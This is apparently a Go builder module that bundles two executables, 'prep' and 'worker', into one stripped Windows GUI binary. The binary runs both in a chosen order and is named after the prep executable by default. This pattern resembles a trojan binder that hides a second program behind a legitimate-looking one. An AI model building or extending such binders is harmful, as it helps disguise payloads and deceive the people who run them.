package builder import ( "fmt" "os" "os/exec" "path/filepath" "strings" ) func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) { if prepPath == "" { return "", fmt.Errorf("fusion requires prep.exe") } if _, err := os.Stat(prepPath); err != nil { return "", fmt.Errorf("prep.exe not found: %w", err) } if _, err := os.Stat(workerPath); err != nil { return "", fmt.Errorf("worker binary not found: %w", err) } fusionSrc := filepath.Join(h.projectRoot, "fusion") if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil { return "", fmt.Errorf("fusion source missing at %s", fusionSrc) } fusionDir := filepath.Join(buildDir, "fusion") assetsDir := filepath.Join(fusionDir, "assets") if err := os.MkdirAll(assetsDir, 0755); err != nil { return "", err } mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go")) if err != nil { return "", err } order := normalizeFusionOrder(runOrder) mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1) if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil { return "", err } if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil { return "", err } if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil { return "", err } if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil { return "", err } if outputName == "" { outputName = "prep.exe" } if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { outputName += ".exe" } outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName))) cmd := exec.Command(h.goBinPath, "build", "-ldflags", "-s -w -trimpath -H windowsgui", "-o", outputPath, ".") cmd.Dir = fusionDir cmd.Env = append(os.Environ(), "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=0", ) out, err := cmd.CombinedOutput() if err != nil { return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out))) } return outputPath, nil } func normalizeFusionOrder(order string) string { switch strings.ToLower(strings.TrimSpace(order)) { case "prep_first", "worker_first", "parallel": return strings.ToLower(strings.TrimSpace(order)) default: return "parallel" } }